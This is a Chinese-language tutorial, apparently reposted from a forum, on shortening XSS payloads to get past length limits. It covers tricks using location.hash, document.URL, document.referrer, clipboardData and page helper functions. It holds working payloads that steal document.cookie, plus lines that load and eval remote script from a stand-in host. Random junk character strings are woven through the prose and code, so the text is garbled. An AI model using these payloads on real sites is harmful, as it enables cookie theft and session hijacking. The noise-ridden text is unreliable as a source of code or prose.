* d9 c6 C7 H7 C9 ^ 如果存在XSS漏洞的页面HTML上下文还有其他可以控制的数据,那么可以通过JS获得该数 ' R( a; e$ x* ^' o3 _; Q4 `据通过eval或者document.write/innerHTML等方式执行该数据,从而达到突破XSS字符数量限& a( Q' a* Q% P% a
制的目的,下面例子假设div元素的内部数据可以控制,但是该数据已经被HTML编码过: $ r# H, e1 h2 g( n% R " i3 m, Y# R' b: a5 C% M--code------------------------------------------------------------------------- 8 l$ P. p* C. q8 |& I; K<div id="x">可控的安全的数据</div> % [2 T- Y1 T& {: {$ H' J<limited_xss_point>alert(/xss/);</limited_xss_point> # I0 m& f2 u4 U3 C------------------------------------------------------------------------------- ) l- n, w" H7 o' q3 c4 j( Z5 E8 ?2 s7 j$ Q. E' A; `( l8 Z0 B6 Z
由于XSS点有字符数量限制,所以这里只能弹框,那么我们可以把XSS的Payload通过escape3 X2 d0 [$ {$ W
编码后作为安全的数据,输出到可控的安全数据位置,然后在XSS点执行可控的安全数据:7 ?& g. b4 F" J3 j: T7 ~. z
8 F$ g8 G' o5 n6 [$ H* f--code------------------------------------------------------------------------- " x6 V5 @; e' S6 t3 \, K6 `( r<div id="x">alert%28document.cookie%29%3B</div> - n) H8 \$ b! e) R<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point> 3 r) i2 c+ s! I. ?-------------------------------------------------------------------------------* }- ^# f3 o+ P: Y! l: H
: H; J k# T& F: W& b& S
长度:28 + len(id)5 [% I a7 I! b6 a8 Q1 I9 d
5 Y) e! j! K7 p) t" a5 V( D' d3 a
由于x内部的数据没有字符数量的限制,那么从而可以达到执行任意JS的目的。 & x$ U/ n) _' r: U) r4 k% L2 g2 q5 P6 k9 L
; w3 X) w) P3 B7 T" s1 _3 y
2.2 利用URL中的数据 * h2 u v+ N9 @( L+ d 7 @4 `' }' b, D2 {, Q+ X- _ 如果页面里不存在上一节所说的可控HTML上下文数据怎么办?有些数据是我们无条件可! y: ^- q' x W4 d$ ^6 A; V; v c2 h
控的,第一个想到的就是URL,通过在URL的尾部参数构造要执行的代码,然后在XSS点通过4 k& ^. a2 r9 {, `
document.URL/location.href等方式获得代码数据执行,这里假设代码从第80个字符开始到 # F& U( S. X4 s- }3 q: J. p3 M, h0 N最后: . P. m, N4 n) p) o" O / b; W6 m& S$ S x--code------------------------------------------------------------------------- , Z7 [0 v! Z9 {$ w8 H8 nhttp://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)4 _( b# c3 B9 ^, N
a* a, u8 C. y( M m<limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>1 E( }" U9 z& p. S, H8 S( h* S" a
------------------------------------------------------------------------------- 7 k! b& P' t0 a6 [/ t: d" W+ P# W. c3 D3 S- x; r# Z4 s9 s
长度:30 4 O! b+ S% ?- ~* s, t B* @$ B! S; r# b) `/ [# F0 w9 n/ A9 z/ @
--code-------------------------------------------------------------------------. N3 b M. }4 I( ]
<limited_xss_point>eval(location.href.substr(80));</limited_xss_point>+ G) C8 |* ^& v( J' R
------------------------------------------------------------------------------- 6 W" ^% k7 h1 I9 X; h+ g2 o9 W& T6 U5 l$ t( ^6 W# ]4 j% H6 q
长度:31# U; w# I" l; v7 i. d
) A- R8 b$ o- Q! z# L) v3 M 上面两个例子对比,前一个例子更短,那么有没有办法更短呢?通过查阅JavaScript手册 ) x x: o' i4 R5 q1 ~& @; z1 A' t1 M的String的方法可以发现,切割字符串有一个更短的函数slice,5个字符比substr还要短一个 & W w/ k$ c) m字符: % T" M: [4 y* S2 ?1 ]: ~9 c , E F0 T7 ]; ~: ^# q--code------------------------------------------------------------------------- % h e) t- Z' J4 f- c+ H, z6 @<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point> 4 s$ w5 O' L+ T; E! l; j6 h-------------------------------------------------------------------------------+ K6 l {$ R7 k* p8 R
* V) }) I( c- V8 e- S3 m: C% Y# J
长度:29 ( K- }3 J: M! f' b7 x( o" k" I$ K 2 |/ N0 [" ?- J, f, a. O- ^--code------------------------------------------------------------------------- / E$ x1 A* x+ K<limited_xss_point>eval(location.href.slice(80));</limited_xss_point> * {0 W v$ b1 P& i# B5 e------------------------------------------------------------------------------- % W$ D, |" d5 g/ I4 A# U ' T7 h; X0 S. e% y' g( c长度:30 ' [6 x( S: W# |4 s/ t " g' j6 k7 ~! I4 y9 W6 I 那么还有没有办法更短呢?答案是YES,查阅一下MSND里的location对象的参考你会发现6 G7 A6 z# g# q) ?
有个hash成员,获取#之后的数据,那么我们可以把要执行的代码放在#后面,然后通过hash获2 v/ b6 p3 w1 b
得代码执行,由于获得的数据是#开头的,所以只需要slice一个字符就可以拿到代码: + S U- Z7 Y1 n% x# a0 ~" t- I6 @2 {8 H# P
--code------------------------------------------------------------------------- 4 S* I$ g" r* R6 X/ s/ t! X# rhttp://www.xssedsite.com/xssed.php?x=1....#alert(document.cookie)' j8 q! b8 E) g9 R
1 U! Q$ @ O5 I l; A
<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point> . [7 S# F, F# ?# x9 k7 n------------------------------------------------------------------------------- , n/ w5 O% W2 L2 m/ e N$ ~; K2 K6 Y. v- J5 P" {
长度:29 4 n, p5 ?# v4 V W+ j4 t7 h5 T- J( k
这样比上面的例子又少了一个字符。那么还可以更短么? ( M1 Q4 e. d" G s1 q/ b. O+ L5 V" c: W. m& i4 _
# \4 C4 C: f3 B' a! t
2.3 JS上下文的利用 $ K/ M, ]7 L, t* g" c+ ^# ]( I$ \- }% |+ [( h* s, d2 b: K
为什么我如此痛苦?那是因为JS和DHTML的方法名和属性名太长!瞧瞧这些“糟糕”的名字:( i2 N* n6 E! |9 t+ i U% R" W
7 @8 h* T' i% V+ Q
String.fromCharCode 4 M1 Z; S! C( N: TgetElementById % B9 W \1 u) F) e/ j" Z* igetElementsByTagName & _) }5 D, t8 }document.write / ^; [/ F! v! w. }XMLHTTPRequest+ f+ @; U* b+ V. L- x6 x
...' n' y% ~# z/ z
6 g: ~9 @% G8 T$ X2 m 就连开发人员也不愿意多写一次,于是很多站点的前端开发工程师们封装了各式各样的4 T1 T; r5 R# i2 x% |; d. T R2 _
简化函数,最经典的例子就是: 7 R' D. N8 t1 X4 }/ S# q9 s4 _, _' d* A8 @7 w; {7 }2 `9 V
--code------------------------------------------------------------------------- 5 ~7 I( J9 D4 b! `- mfunction $(id) { ! P- `) {# f5 m return document.getElementById(id); 4 H6 F* `7 y' i$ M6 S2 Z}; |$ q2 i) b9 z. E# _& L$ |* U
-------------------------------------------------------------------------------6 y3 N- H, u. @' V8 j9 v, O
! C7 R3 S" M# B& R8 x7 d! a7 H
这些函数同样可以为我们所用,用来缩短我们的Payload的长度。不过上面这个例子不是 : w. Y+ j" E) O最短的,IE和FF都支持直接通过ID来引用一个元素。有些函数可以直接用来加载我们的代码:4 Z4 j7 b! }$ X! B% y6 `
/ j9 T7 P) h! ?& E$ d0 H& J% u--code-------------------------------------------------------------------------$ X/ H b1 e/ w& |9 V
function loads(url) {6 ]: v' b; V: M4 T
...! J4 [8 T/ I; x; G
document.body.appendChild(script);# d. l8 ^0 [+ h, |
} ! |% k* |& A+ G 2 j8 I5 B7 ?* a* K4 ~$ g' Q<limited_xss_point>loads('http://xxx.com/x');</limited_xss_point>+ K* t q8 j8 J( v. U
-------------------------------------------------------------------------------8 J C' x: E; s" j# W
! d, x) N6 C, T1 i; r
长度:len(函数名) + len(url) + 5. A& @2 O' J. q' w2 M
' o) B3 E* d- k3 ]* t: R 当然你的url则是越短越好哦!有些函数则会帮我们去作HTTP请求:4 {* f, X7 |" M" S
C. Z" z: j9 _6 D! G' N* y
--code------------------------------------------------------------------------- / a: k$ b- ~. Z. B5 l# u6 ffunction get(url) { % p2 c$ u c3 j1 O& C ...; c3 {; l& b& s L
return x.responseText; : ~2 Y- a; g% n} L" m% [: e# P( x: X# }" }% G
4 Q% E6 v; s# U2 X0 o: ~<limited_xss_point>eval(get('http://xxx.com/x'));</limited_xss_point>* v% \$ j8 |# }/ \8 p/ M
------------------------------------------------------------------------------- ' _# t- n! l& x5 W' U, Z. W: c$ e) N1 \9 q6 U. U, A5 P
长度:len(函数名) + len(url) + 11 # |4 g$ U: E* H + O& \) t/ W7 C5 R% D3 f, c) q! m! i 道哥则提出有些流行的JS的开发框架也封装了大量功能强劲的库可供调用,比如: L4 b9 g: |0 l& |3 K9 n+ X0 I6 W / |) N% Y2 C, k% g2 e7 VJQuery ' W O8 N6 o! O9 M4 S8 }YUI/ d& S* \* u% f* H6 h4 L
... 6 [9 \' n- F) Y2 G. c9 L + }) e; C0 B4 X 综上所述,我们可以通过分析JS上下文现有的框架、对象、类、函数来尽可能的缩短我 i( W6 @& p' [- ]2 c, i0 W
们的代码,进而突破长度限制执行任意代码。- _& u5 X$ c. ?$ c7 \
$ [1 A A) Y/ \# ] * d5 |" y+ ?1 R7 ^( Y2.4 利用浏览器特性在跨域的页面之间传递数据 1 L1 `* p* b1 t' W* I8 o! r0 ]) s8 h) G, w- N; W9 o2 O3 L
虽然有同源策略的限制,浏览器的功能设计上仍然保留了极少数的可以跨域传递数据的 5 A& [; [! {' x3 ?' G3 d方法,我们可以利用这些方法来跨页面传递数据到被XSS的域的页面去执行。 9 |* S" ~' d* {7 N5 A9 I 9 R4 y- P. `) B* q2.4.1 document.referrer 9 i9 q. x4 l) L5 Z! f* P7 ?8 B A' o, O+ r1 m! R
攻击者可以在自己的域上构造页面跳转到被XSS页面,在自己域上的页面的url里带了 4 W1 J% p' U0 KPayload,被XSS的页面通过referrer获取相关代码执行。 ' s+ ]2 L2 C' ^- `; x3 ~. t4 e6 J/ r& s8 t J5 H! } R+ S
攻击者构造的的页面:- G" ?: r9 _6 @) F, a
& T0 P1 }, F# y( N% E' y& `9 {4 K--code-------------------------------------------------------------------------, e2 _" e2 \8 ?! D$ z http://www.a.com/attack.html?...&alert(document.cookie) ; l8 a2 b/ D2 V; E& G9 A) t5 y; ~7 P% B0 d$ r5 s' v# e* H4 I; l
<a href="http://www.xssedsite.com/xssed.php">go</a># H, r6 H+ a) q1 I0 o4 i
------------------------------------------------------------------------------- 8 Z9 M- a) H6 Z3 B2 Y% {' h+ L9 o* s+ z# c+ R3 `* S" z/ Q6 i6 b3 b
被XSS的页面: 9 K7 s3 ?4 N: Q: F! z 5 S0 W. J( U, V--code-------------------------------------------------------------------------: b. ] k6 K! l
<limited_xss_point>eval(document.referrer.slice(80));</limited_xss_point>! w- ]8 J* v7 r$ r) Y+ T' \% y+ M6 _
-------------------------------------------------------------------------------2 A8 I" J" _7 c8 G0 q2 w
4 g, o2 L d A/ T6 z% P# f长度:349 _( @9 P8 G) N+ V4 e2 {, D g$ J; L7 R7 b
. }; f1 x! i, `, t& j! p, c4 f 这种方式利用上还有一些问题,如果使用location.href或者<meta http-equiv=refresh>! f! h- y4 G. Q. B0 U( ]
实现的自动跳转,在IE里被攻击页面拿不到referrer,而FF则可以。QZ建议用表单提交的方式0 j* _0 Y* n7 q
比较好,我测试了下,果然通用,FF/IE都可以成功获取referrer:3 j! ?- y& h# o h. t
: C9 |. I) _8 q8 e--code------------------------------------------------------------------------- 0 {1 t! B, {0 F6 L<script type="text/javascript">3 @9 j" f6 g! U5 Q5 {
<!--+ B9 A2 Z) C' { Z6 U+ _
window.onload = function(){/ t1 C, j) O! l% t# n" ]
var f = document.createElement("form");7 I% r$ u4 v+ X& o
f.setAttribute("method", "get"); 3 ~0 T) E+ o% q' y f.setAttribute("action", "http://www.xssedsite.com/xssed.php");) W. G, ^* H0 C8 C
document.body.appendChild(f);- i4 O% F0 W# J* i9 Z
f.submit();1 e: h* l4 H3 L: M( u5 g: F
};7 Y( A6 S# l! q5 W
//-->) d4 Z! a. m& _
</script>3 z! z/ q; Q* s3 P) S" w$ @
-------------------------------------------------------------------------------( U3 t; h+ v% M8 [$ |' ~) T
n( l- _# P. M, b( x! `- ^: ]- _
2.4.2 剪切板clipboardData - I% V* G2 |- |% f7 K8 }: j " X2 k# J$ `: M. b 攻击者在自己域的页面上通过clipboardData把Payload写入剪切板,然后在被XSS页面获5 P4 T. X, S/ T3 D
取并执行该数据。8 g$ \; O3 ?! m! b. D) R7 @8 J! J
) y- E6 p. B5 M8 p* v+ n" `& e: v
攻击者构造的页面:/ ~0 W0 U2 B: H# z" H
0 H5 h# P. a2 j% P' I--code------------------------------------------------------------------------- - @$ s7 X/ X2 M9 w! G<script>5 P2 D' U% _' q. x5 r
clipboardData.setData("text", "alert(document.cookie)"); 0 q3 N( B, t2 @0 B2 H0 x</script> 6 @; `% f9 l+ z% h, J5 D------------------------------------------------------------------------------- : ^% E' W% d7 V 1 C2 j4 f: E- U- W2 o$ s2 m2 j8 H被XSS的页面: 6 o: W( ]1 d5 z& U) m; C$ u ; b+ }. `6 V* C X/ n--code------------------------------------------------------------------------- 2 K, j1 m2 {, `+ V<limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point>5 n+ X0 M' m5 w/ P8 t: |
------------------------------------------------------------------------------- & k6 ^, W# G8 O. x) `0 e6 P& f* ^9 T ) h7 x( `3 t: V0 u. y+ y4 e长度:36& f8 W' `* R9 D; C- D
, h7 {' b$ E7 C3 V: S
这种方式只适用于IE系列,并且在IE 7及以上版本的浏览器会有安全提示。- c$ N/ ?1 Y. o. z/ P0 o) k